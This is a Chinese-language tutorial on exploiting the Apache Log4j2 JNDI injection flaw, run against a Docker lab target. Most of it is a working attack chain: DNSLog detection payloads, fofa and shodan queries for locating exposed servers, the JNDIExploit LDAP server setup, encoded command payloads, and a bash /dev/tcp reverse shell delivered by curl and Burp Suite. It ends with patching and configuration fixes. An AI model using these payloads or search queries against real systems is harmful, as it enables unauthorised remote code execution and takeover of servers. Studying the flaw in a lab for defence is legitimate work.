Apache Log4j2 RCE遠程代碼執行漏洞
漏洞介紹
1、2021年12月10日,國家信息安全漏洞共享平台(CNVD)收錄了Apache Log4j2 遠程代碼執行漏洞(CNVD-2021-95914)。攻擊者利用該漏洞,可在未授權的情況下遠程執行代碼。目前,漏洞利用細節已公開,Apache官方已發布補丁修復該漏洞。
Apache Log4j2是一個基於Java的日志記錄組件,該日志組件被廣泛應用於業務系統開發,用以記錄程序輸入輸出日志信息,得益於其突出於其他日志的優勢:異步日志實現。是最受歡迎的於開發時的日志組件。
2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2 遠程代碼執行漏洞。由於Log4j2 組件在處理程序日志記錄時存在JNDI 注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意數據,觸發Log4j2 組件解析缺陷,實現目標服務器的任意代碼執行,獲得目標服務器權限。
漏洞原理
1、Log4j2日志
2、log4j2 提供了 lookups
不過log4j2並不滿足上面的功能,他們提供了一種叫lookups
的功能log4j2的lookups說明。
hello ${java:os}
和hello ${java:vm}
,而是當前服務的操作系統信息和虛擬機信息。其實如果僅僅是這樣,那也算不上什么漏洞,只能說功能強大而已。
3、還支持JNDI Lookup、RMI遠程調用
可以通過JNDI引入目錄資源,進行加載class執行代碼。也可以通過RMI遠程調用資源。
漏洞影響
影響版本:Apache Log4j2.x <= 2.14.1
已知受影響:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...
搜索漏洞語法
fofa搜索語法:
app="Log4j2"
shodan搜索語法:
Server: Log4j2
搭建漏洞docker環境
目標:centos7
IP:192.168.110.133
攻擊機:kali linux
IP:192.168.110.141
下載docker漏洞鏡像文件
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
進入shell命令
sudo docker exec -it 5500411a2fac(容器id)
Payload配合DNSLog檢測
先去DNSLog生成域名:zigsvm.dnslog.cn
JS POST POC請求
fetch(new Request('url',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
構建:
fetch(new Request('http://192.168.110.133:8080/hello',{
method:'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})
響應200,說明存在該漏洞。再看看DNSLog的請求
HackBar構建POC
目標:http://192.168.110.133:8080/hello
POST payload:
payload=${jndi:ldap://zigsvm.dnslog.cn./exp}
JNDIEXPloit工具Getshell
基礎環境
kali linux:192.168.110.141
Centos7:192.168.110.133
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
攻擊機安裝JAVA環境
(這里是Centos7目標機,可以不安。我這里是在Kali linux安裝的)
yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
配置監聽
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090
指定監聽9090端口
開始監聽LDAP Server服務
再加上一個HTTP server服務
命令執行輸出文件
測試payload語句
修整下payload,特殊字符需要通過url編碼,尤其像+號需要通過雙重URL編碼,不然就會被當作連接符。
初始payload:
ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=
url編碼后payload:
ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D
構造payload
${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}
抓包獲取請求包:
提交一個js post請求數據包,然后用burpsuite抓取
發送到Repeater模塊去測試payload:
請求成功200,看看監聽
payload正常。
接下來去docker容器看看
沒有文件,直接反彈shell看看。
反彈shell
payload:
bash -i >& /dev/tcp/192.168.110.141/9797 0>&1
bash64編碼:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
url編碼:
YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
kali linux設置好監聽:
nc -lvvp 9797
抓包重新發送看看:
shell彈過來了:
curl命令請求
curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello
BurpSuite被動掃描插件Log4j2Scan
https://github.com/pochubs/Log4j2Scan-1.git
自己編譯下
mvn package
加入到java插件中
配置好一些API
然后看Dashoard這個模塊即可
修復建議
-
升級Apache Log4j2所有相關應用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
升級已知受影響的應用及組件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
-
jvm參數 -Dlog4j2.formatMsgNoLookups=true
-
log4j2.formatMsgNoLookups=True
-
系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為true
-
禁止使用log4j的服務器外連出網
-
使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因為高版本jdk默認無法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式。